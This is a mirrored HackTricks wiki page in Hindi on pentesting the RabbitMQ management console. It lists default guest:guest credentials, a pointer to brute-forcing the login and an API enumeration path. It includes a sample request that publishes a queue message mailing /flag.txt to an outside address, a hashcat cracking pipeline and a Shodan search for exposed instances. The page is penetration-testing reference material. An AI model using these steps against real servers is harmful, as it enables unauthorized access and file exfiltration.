mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
61 lines
4.1 KiB
Markdown
61 lines
4.1 KiB
Markdown
# 15672 - Pentesting RabbitMQ Management
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**Bug bounty tip**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफार्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
## Basic Information
|
|
|
|
आप RabbitMQ के बारे में अधिक जान सकते हैं [**5671,5672 - Pentesting AMQP**](5671-5672-pentesting-amqp.md)।\
|
|
इस पोर्ट में आप RabbitMQ प्रबंधन वेब कंसोल पा सकते हैं यदि [प्रबंधन प्लगइन](https://www.rabbitmq.com/management.html) सक्षम है।\
|
|
मुख्य पृष्ठ ऐसा दिखना चाहिए:
|
|
|
|
.png>)
|
|
|
|
## Enumeration
|
|
|
|
डिफ़ॉल्ट क्रेडेंशियल "_**guest**_":"_**guest**_" हैं। यदि ये काम नहीं कर रहे हैं, तो आप [**लॉगिन को ब्रूट-फोर्स करने**](../generic-hacking/brute-force.md#http-post-form) का प्रयास कर सकते हैं।
|
|
|
|
इस मॉड्यूल को मैन्युअल रूप से शुरू करने के लिए आपको निष्पादित करना होगा:
|
|
```
|
|
rabbitmq-plugins enable rabbitmq_management
|
|
service rabbitmq-server restart
|
|
```
|
|
एक बार जब आप सही तरीके से प्रमाणित हो जाते हैं, तो आप प्रशासन कंसोल देखेंगे:
|
|
|
|
.png>)
|
|
|
|
इसके अलावा, यदि आपके पास मान्य क्रेडेंशियल्स हैं, तो आप `http://localhost:15672/api/connections` की जानकारी को दिलचस्प पाएंगे।
|
|
|
|
यह भी ध्यान दें कि आप इस सेवा के API का उपयोग करके **क्यू के अंदर डेटा प्रकाशित** करना संभव है, जैसे कि एक अनुरोध:
|
|
```bash
|
|
POST /api/exchanges/%2F/amq.default/publish HTTP/1.1
|
|
Host: 172.32.56.72:15672
|
|
Authorization: Basic dGVzdDp0ZXN0
|
|
Accept: */*
|
|
Content-Type: application/json;charset=UTF-8
|
|
Content-Length: 267
|
|
|
|
{"vhost":"/","name":"amq.default","properties":{"delivery_mode":1,"headers":{}},"routing_key":"email","delivery_mode":"1","payload":"{\"to\":\"zevtnax+ppp@gmail.com\", \"attachments\": [{\"path\": \"/flag.txt\"}]}","headers":{},"props":{},"payload_encoding":"string"}
|
|
```
|
|
## हैश क्रैकिंग
|
|
```bash
|
|
echo <base64 rabbit mq hash> | base64 -d | xxd -pr -c128 | perl -pe 's/^(.{8})(.*)/$2:$1/' > hash.txt
|
|
hashcat -m 1420 --hex-salt hash.txt wordlist
|
|
```
|
|
### Shodan
|
|
|
|
- `port:15672 http`
|
|
|
|
<figure><img src="../images/i3.png" alt=""><figcaption></figcaption></figure>
|
|
|
|
**बग बाउंटी टिप**: **साइन अप करें** **Intigriti** के लिए, एक प्रीमियम **बग बाउंटी प्लेटफॉर्म जो हैकर्स द्वारा, हैकर्स के लिए बनाया गया है**! आज ही [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) पर हमारे साथ जुड़ें, और **$100,000** तक के बाउंटी कमाना शुरू करें!
|
|
|
|
{% embed url="https://go.intigriti.com/hacktricks" %}
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|